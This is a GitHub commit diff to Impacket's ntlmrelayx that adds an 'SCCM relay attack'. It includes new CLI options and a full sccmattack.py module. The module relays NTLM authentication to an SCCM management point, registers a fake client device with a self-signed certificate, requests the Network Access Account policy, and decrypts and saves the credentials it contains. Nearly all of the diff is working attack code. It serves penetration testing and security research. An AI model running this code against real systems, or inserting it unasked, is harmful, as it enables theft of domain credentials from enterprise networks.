Skip to content

Commit 35f3594

Browse files
committed
add sccm attack (old PR fortra#1425)
1 parent b5db2dd commit 35f3594

File tree

7 files changed

+339
-5
lines changed

7 files changed

+339
-5
lines changed

examples/ntlmrelayx.py

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -221,6 +221,9 @@ def start_servers(options, threads):
221221
c.setAltName(options.altname)
222222
c.setisADMINAttack(options.adminservice, options.logonname, options.displayname, options.objectsid)
223223

224+
c.setIsSCCMAttack(options.sccm)
225+
c.setSCCMOptions(options.sccm_device, options.sccm_fqdn, options.sccm_server, options.sccm_sleep)
226+
224227
#If the redirect option is set, configure the HTTP server to redirect targets to SMB
225228
if server is HTTPRelayServer and options.r is not None:
226229
c.setMode('REDIRECT')
@@ -439,6 +442,13 @@ def stop_servers(threads):
439442
sccmdpoptions.add_argument('--sccm-dp-extensions', action='store', required=False, help='A custom list of extensions to look for when downloading files from the SCCM Distribution Point. If not provided, defaults to .ps1,.bat,.xml,.txt,.pfx')
440443
sccmdpoptions.add_argument('--sccm-dp-files', action='store', required=False, help='The path to a file containing a list of specific URLs to download from the Distribution Point, instead of downloading by extensions. Providing this argument will skip file indexing')
441444

445+
sccmoptions = parser.add_argument_group("SCCM attack options")
446+
sccmoptions.add_argument('--sccm', action='store_true', required=False, help='Enable SCCM relay attack')
447+
sccmoptions.add_argument('--sccm-device', action='store', metavar="DEVICE", required=False, help='Name of fake device to register')
448+
sccmoptions.add_argument('--sccm-fqdn', action='store', metavar="FQDN", required=False, help='Fully qualified domain name of the target domain')
449+
sccmoptions.add_argument('--sccm-server', action='store', metavar="HOSTNAME", required=False, help='Hostname of the target SCCM server')
450+
sccmoptions.add_argument('--sccm-sleep', action='store', metavar="SECONDS", type=int, default=5, required=False, help='Sleep time before requesting policy')
451+
442452
try:
443453
options = parser.parse_args()
444454
except Exception as e:

impacket/examples/ntlmrelayx/attacks/httpattack.py

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,13 +22,14 @@
2222
from impacket.examples.ntlmrelayx.attacks.httpattacks.adminserviceattack import ADMINSERVICEAttack
2323
from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmpoliciesattack import SCCMPoliciesAttack
2424
from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmdpattack import SCCMDPAttack
25+
from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmattack import SCCMAttack
2526

2627

2728

2829
PROTOCOL_ATTACK_CLASS = "HTTPAttack"
2930

3031

31-
class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack):
32+
class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack, SCCMAttack):
3233
"""
3334
This is the default HTTP attack. This attack only dumps the root page, though
3435
you can add any complex attack below. self.client is an instance of urrlib.session
@@ -47,6 +48,8 @@ def run(self):
4748
SCCMPoliciesAttack._run(self)
4849
elif self.config.isSCCMDPAttack:
4950
SCCMDPAttack._run(self)
51+
elif self.config.isSCCMAttack:
52+
SCCMAttack._run(self)
5053
else:
5154
# Default action: Dump requested page to file, named username-targetname.html
5255
# You can also request any page on the server via self.client.session,
Lines changed: 304 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,304 @@
1+
# Impacket - Collection of Python classes for working with network protocols.
2+
#
3+
# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
4+
#
5+
# This software is provided under a slightly modified version
6+
# of the Apache Software License. See the accompanying LICENSE file
7+
# for more information.
8+
#
9+
# Description:
10+
# SCCM relay attack
11+
# Credits go to @_xpn_, attack code is pulled from his SCCMWTF repository (https://github.com/xpn/sccmwtf)
12+
#
13+
# Authors:
14+
# Tw1sm (@Tw1sm)
15+
16+
17+
import datetime
18+
import zlib
19+
import requests
20+
import re
21+
import time
22+
from pyasn1.codec.der.decoder import decode
23+
from pyasn1_modules import rfc5652
24+
from cryptography.hazmat.primitives import serialization
25+
from cryptography.hazmat.primitives.serialization import PublicFormat
26+
from cryptography.hazmat.primitives.asymmetric import rsa
27+
from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15
28+
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
29+
from cryptography import x509
30+
from cryptography.x509.oid import NameOID
31+
from cryptography.hazmat.primitives import hashes
32+
from cryptography.x509 import ObjectIdentifier
33+
from requests_toolbelt.multipart import decoder
34+
from impacket import LOG
35+
36+
37+
class SCCMAttack:
38+
dateFormat = "%Y-%m-%dT%H:%M:%SZ"
39+
40+
now = datetime.datetime.utcnow()
41+
42+
# Huge thanks to @_Mayyhem with SharpSCCM for making requesting these easy!
43+
registrationRequestWrapper = "<ClientRegistrationRequest>{data}<Signature><SignatureValue>{signature}</SignatureValue></Signature></ClientRegistrationRequest>\x00"
44+
registrationRequest = """<Data HashAlgorithm="1.2.840.113549.1.1.11" SMSID="" RequestType="Registration" TimeStamp="{date}"><AgentInformation AgentIdentity="CCMSetup.exe" AgentVersion="5.00.8325.0000" AgentType="0" /><Certificates><Encryption Encoding="HexBinary" KeyType="1">{encryption}</Encryption><Signing Encoding="HexBinary" KeyType="1">{signature}</Signing></Certificates><DiscoveryProperties><Property Name="Netbios Name" Value="{client}" /><Property Name="FQ Name" Value="{clientfqdn}" /><Property Name="Locale ID" Value="2057" /><Property Name="InternetFlag" Value="0" /></DiscoveryProperties></Data>"""
45+
msgHeader = """<Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="{bodylength}" Offset="0" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook3 Name="zlib-compress" /></Hooks><ID>{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}</ID><Payload Type="inline" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_ClientRegistration</TargetAddress><TargetEndpoint>MP_ClientRegistration</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>"""
46+
msgHeaderPolicy = """<Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="{bodylength}" Offset="0" /><CorrelationID>{{00000000-0000-0000-0000-000000000000}}</CorrelationID><Hooks><Hook2 Name="clientauth"><Property Name="AuthSenderMachine">{client}</Property><Property Name="PublicKey">{publickey}</Property><Property Name="ClientIDSignature">{clientIDsignature}</Property><Property Name="PayloadSignature">{payloadsignature}</Property><Property Name="ClientCapabilities">NonSSL</Property><Property Name="HashAlgorithm">1.2.840.113549.1.1.11</Property></Hook2><Hook3 Name="zlib-compress" /></Hooks><ID>{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}</ID><Payload Type="inline" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:{client}:SccmMessaging</ReplyTo><SentTime>{date}</SentTime><SourceID>GUID:{clientid}</SourceID><SourceHost>{client}</SourceHost><TargetAddress>mp:MP_PolicyManager</TargetAddress><TargetEndpoint>MP_PolicyManager</TargetEndpoint><TargetHost>{sccmserver}</TargetHost><Timeout>60000</Timeout></Msg>"""
47+
policyBody = """<RequestAssignments SchemaVersion="1.00" ACK="false" RequestType="Always"><Identification><Machine><ClientID>GUID:{clientid}</ClientID><FQDN>{clientfqdn}</FQDN><NetBIOSName>{client}</NetBIOSName><SID /></Machine><User /></Identification><PolicySource>SMS:PRI</PolicySource><Resource ResourceType="Machine" /><ServerCookie /></RequestAssignments>"""
48+
# reportBody = """<Report><ReportHeader><Identification><Machine><ClientInstalled>0</ClientInstalled><ClientType>1</ClientType><ClientID>GUID:{clientid}</ClientID><ClientVersion>5.00.8325.0000</ClientVersion><NetBIOSName>{client}</NetBIOSName><CodePage>850</CodePage><SystemDefaultLCID>2057</SystemDefaultLCID><Priority /></Machine></Identification><ReportDetails><ReportContent>Inventory Data</ReportContent><ReportType>Full</ReportType><Date>{date}</Date><Version>1.0</Version><Format>1.1</Format></ReportDetails><InventoryAction ActionType="Predefined"><InventoryActionID>{{00000000-0000-0000-0000-000000000003}}</InventoryActionID><Description>Discovery</Description><InventoryActionLastUpdateTime>{date}</InventoryActionLastUpdateTime></InventoryAction></ReportHeader><ReportBody /></Report>"""
49+
50+
51+
def _run(self):
52+
LOG.info("Creating certificate for our fake server...")
53+
self.createCertificate(True)
54+
55+
LOG.info("Registering our fake server...")
56+
uuid = self.sendRegistration(self.config.sccm_device, self.config.sccm_fqdn)
57+
58+
LOG.info(f"Done.. our ID is {uuid}")
59+
60+
# If too quick, SCCM requests fail (DB error, jank!)
61+
LOG.info(f"Sleeping {self.config.sccm_sleep} seconds to allow SCCM server time to process...")
62+
time.sleep(self.config.sccm_sleep)
63+
64+
target_fqdn = f"{self.config.sccm_device}.{self.config.sccm_fqdn}"
65+
LOG.info("Requesting NAAPolicy...")
66+
urls = self.sendPolicyRequest(self.config.sccm_device, target_fqdn, uuid, self.config.sccm_device, target_fqdn, uuid)
67+
68+
LOG.info("Parsing policy...")
69+
70+
for url in urls:
71+
result = self.requestPolicy(url)
72+
if result.startswith("<HTML>"):
73+
result = self.requestPolicy(url, uuid, True, True)
74+
decryptedResult = self.parseEncryptedPolicy(result)
75+
Tools.write_to_file(decryptedResult, "naapolicy.xml")
76+
77+
LOG.info("Decrypted policy dumped to naapolicy.xml")
78+
79+
80+
def sendCCMPostRequest(self, data, auth=False):
81+
headers = {
82+
"Connection": "close",
83+
"User-Agent": "ConfigMgr Messaging HTTP Sender",
84+
"Content-Type": "multipart/mixed; boundary=\"aAbBcCdDv1234567890VxXyYzZ\""
85+
}
86+
87+
if auth:
88+
self.client.request("CCM_POST", "/ccm_system_windowsauth/request", headers=headers, body=data)
89+
r = self.client.getresponse()
90+
content = r.read()
91+
else:
92+
tried = 0
93+
while True:
94+
if tried < 10:
95+
self.client.request("CCM_POST", "/ccm_system/request", headers=headers, body=data)
96+
r = self.client.getresponse()
97+
content = r.read()
98+
tried += 1
99+
if content == b'':
100+
LOG.info("Policy request appears to have failed, resending in 5 seconds")
101+
time.sleep(5)
102+
else:
103+
break
104+
else:
105+
LOG.info("Policy request failed 10 times, exiting")
106+
exit()
107+
108+
multipart_data = decoder.MultipartDecoder(content, r.getheader("Content-Type"))
109+
for part in multipart_data.parts:
110+
if part.headers[b'content-type'] == b'application/octet-stream':
111+
return zlib.decompress(part.content).decode('utf-16')
112+
113+
114+
def requestPolicy(self, url, clientID="", authHeaders=False, retcontent=False):
115+
headers = {
116+
"Connection": "close",
117+
"User-Agent": "ConfigMgr Messaging HTTP Sender"
118+
}
119+
120+
if authHeaders == True:
121+
headers["ClientToken"] = "GUID:{};{};2".format(
122+
clientID,
123+
SCCMAttack.now.strftime(SCCMAttack.dateFormat)
124+
)
125+
headers["ClientTokenSignature"] = CryptoTools.signNoHash(self.key, "GUID:{};{};2".format(clientID, SCCMAttack.now.strftime(SCCMAttack.dateFormat)).encode('utf-16')[2:] + "\x00\x00".encode('ascii')).hex().upper()
126+
127+
self.client.request("GET", url, headers=headers)
128+
r = self.client.getresponse()
129+
content = r.read()
130+
if retcontent == True:
131+
return content
132+
else:
133+
return content.decode()
134+
135+
136+
def createCertificate(self, writeToTmp=False):
137+
self.key = CryptoTools.generateRSAKey()
138+
self.cert = CryptoTools.createCertificateForKey(self.key, u"ConfigMgr Client")
139+
140+
if writeToTmp:
141+
with open("/tmp/key.pem", "wb") as f:
142+
f.write(self.key.private_bytes(
143+
encoding=serialization.Encoding.PEM,
144+
format=serialization.PrivateFormat.TraditionalOpenSSL,
145+
encryption_algorithm=serialization.BestAvailableEncryption(b"mimikatz"),
146+
))
147+
148+
with open("/tmp/certificate.pem", "wb") as f:
149+
f.write(self.cert.public_bytes(serialization.Encoding.PEM))
150+
151+
152+
def sendRegistration(self, name, fqname):
153+
b = self.cert.public_bytes(serialization.Encoding.DER).hex().upper()
154+
155+
embedded = SCCMAttack.registrationRequest.format(
156+
date=SCCMAttack.now.strftime(SCCMAttack.dateFormat),
157+
encryption=b,
158+
signature=b,
159+
client=name,
160+
clientfqdn=fqname
161+
)
162+
163+
signature = CryptoTools.sign(self.key, Tools.encode_unicode(embedded)).hex().upper()
164+
request = Tools.encode_unicode(SCCMAttack.registrationRequestWrapper.format(data=embedded, signature=signature)) + "\r\n".encode('ascii')
165+
166+
header = SCCMAttack.msgHeader.format(
167+
bodylength=len(request)-2,
168+
client=name,
169+
date=SCCMAttack.now.strftime(SCCMAttack.dateFormat),
170+
sccmserver=self.config.sccm_server
171+
)
172+
173+
data = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + header.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + zlib.compress(request) + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii')
174+
175+
deflatedData = self.sendCCMPostRequest(data, True)
176+
r = re.findall("SMSID=\"GUID:([^\"]+)\"", deflatedData)
177+
if r != None:
178+
return r[0]
179+
180+
return None
181+
182+
def sendPolicyRequest(self, name, fqname, uuid, targetName, targetFQDN, targetUUID):
183+
body = Tools.encode_unicode(SCCMAttack.policyBody.format(clientid=targetUUID, clientfqdn=targetFQDN, client=targetName)) + b"\x00\x00\r\n"
184+
payloadCompressed = zlib.compress(body)
185+
186+
bodyCompressed = zlib.compress(body)
187+
public_key = CryptoTools.buildMSPublicKeyBlob(self.key)
188+
clientID = f"GUID:{uuid.upper()}"
189+
clientIDSignature = CryptoTools.sign(self.key, Tools.encode_unicode(clientID) + "\x00\x00".encode('ascii')).hex().upper()
190+
payloadSignature = CryptoTools.sign(self.key, bodyCompressed).hex().upper()
191+
192+
header = SCCMAttack.msgHeaderPolicy.format(
193+
bodylength=len(body)-2,
194+
sccmserver=self.config.sccm_server,
195+
client=name,
196+
publickey=public_key,
197+
clientIDsignature=clientIDSignature,
198+
payloadsignature=payloadSignature,
199+
clientid=uuid,
200+
date=SCCMAttack.now.strftime(SCCMAttack.dateFormat)
201+
)
202+
203+
data = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + header.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + bodyCompressed + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii')
204+
205+
deflatedData = self.sendCCMPostRequest(data)
206+
result = re.search("PolicyCategory=\"NAAConfig\".*?<!\[CDATA\[https*://<mp>([^]]+)", deflatedData, re.DOTALL + re.MULTILINE)
207+
#r = re.findall("http://<mp>(/SMS_MP/.sms_pol?[^\]]+)", deflatedData)
208+
return [result.group(1)]
209+
210+
def parseEncryptedPolicy(self, result):
211+
# Man.. asn1 suxx!
212+
content, rest = decode(result, asn1Spec=rfc5652.ContentInfo())
213+
content, rest = decode(content.getComponentByName('content'), asn1Spec=rfc5652.EnvelopedData())
214+
encryptedRSAKey = content['recipientInfos'][0]['ktri']['encryptedKey'].asOctets()
215+
iv = content['encryptedContentInfo']['contentEncryptionAlgorithm']['parameters'].asOctets()[2:]
216+
body = content['encryptedContentInfo']['encryptedContent'].asOctets()
217+
218+
decrypted = CryptoTools.decrypt3Des(self.key, encryptedRSAKey, iv, body)
219+
policy = decrypted.decode('utf-16')
220+
return policy
221+
222+
223+
class Tools:
224+
@staticmethod
225+
def encode_unicode(input):
226+
# Remove the BOM
227+
return input.encode('utf-16')[2:]
228+
229+
@staticmethod
230+
def write_to_file(input, file):
231+
with open(file, "w") as fd:
232+
fd.write(input)
233+
234+
235+
class CryptoTools:
236+
@staticmethod
237+
def createCertificateForKey(key, cname):
238+
subject = issuer = x509.Name([
239+
x509.NameAttribute(NameOID.COMMON_NAME, cname),
240+
])
241+
cert = x509.CertificateBuilder().subject_name(
242+
subject
243+
).issuer_name(
244+
issuer
245+
).public_key(
246+
key.public_key()
247+
).serial_number(
248+
x509.random_serial_number()
249+
).not_valid_before(
250+
datetime.datetime.utcnow() - datetime.timedelta(days=2)
251+
).not_valid_after(
252+
datetime.datetime.utcnow() + datetime.timedelta(days=365)
253+
).add_extension(
254+
x509.KeyUsage(digital_signature=True, key_encipherment=False, key_cert_sign=False,
255+
key_agreement=False, content_commitment=False, data_encipherment=True,
256+
crl_sign=False, encipher_only=False, decipher_only=False),
257+
critical=False,
258+
).add_extension(
259+
# SMS Signing Certificate (Self-Signed)
260+
x509.ExtendedKeyUsage([ObjectIdentifier("1.3.6.1.4.1.311.101.2"), ObjectIdentifier("1.3.6.1.4.1.311.101")]),
261+
critical=False,
262+
).sign(key, hashes.SHA256())
263+
264+
return cert
265+
266+
@staticmethod
267+
def generateRSAKey():
268+
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
269+
return key
270+
271+
@staticmethod
272+
def buildMSPublicKeyBlob(key):
273+
# Built from spec: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb
274+
blobHeader = b"\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31\x00\x08\x00\x00\x01\x00\x01\x00"
275+
blob = blobHeader + key.public_key().public_numbers().n.to_bytes(int(key.key_size / 8), byteorder="little")
276+
return blob.hex().upper()
277+
278+
# Signs data using SHA256 and then reverses the byte order as per SCCM
279+
@staticmethod
280+
def sign(key, data):
281+
signature = key.sign(data, PKCS1v15(), hashes.SHA256())
282+
signature_rev = bytearray(signature)
283+
signature_rev.reverse()
284+
return bytes(signature_rev)
285+
286+
# Same for now, but hints in code that some sigs need to have the hash type removed
287+
@staticmethod
288+
def signNoHash(key, data):
289+
signature = key.sign(data, PKCS1v15(), hashes.SHA256())
290+
signature_rev = bytearray(signature)
291+
signature_rev.reverse()
292+
return bytes(signature_rev)
293+
294+
@staticmethod
295+
def decrypt(key, data):
296+
print(key.decrypt(data, PKCS1v15()))
297+
298+
@staticmethod
299+
def decrypt3Des(key, encryptedKey, iv, data):
300+
desKey = key.decrypt(encryptedKey, PKCS1v15())
301+
302+
cipher = Cipher(algorithms.TripleDES(desKey), modes.CBC(iv))
303+
decryptor = cipher.decryptor()
304+
return decryptor.update(data) + decryptor.finalize()

impacket/examples/ntlmrelayx/clients/httprelayclient.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -107,10 +107,10 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
107107
token = authenticateMessageBlob
108108
auth = base64.b64encode(token).decode("ascii")
109109
headers = {'Authorization':'%s %s' % (self.authenticationMethod, auth)}
110-
if self.query:
111-
self.session.request('GET', self.path + '?' + self.query, headers=headers)
110+
if self.serverConfig.isSCCMAttack:
111+
self.session.request("CCM_POST", self.path, headers=headers)
112112
else:
113-
self.session.request('GET', self.path, headers=headers)
113+
self.session.request('GET', self.path,headers=headers)
114114
res = self.session.getresponse()
115115
if res.status == 401:
116116
return None, STATUS_ACCESS_DENIED

0 commit comments

Comments
 (0)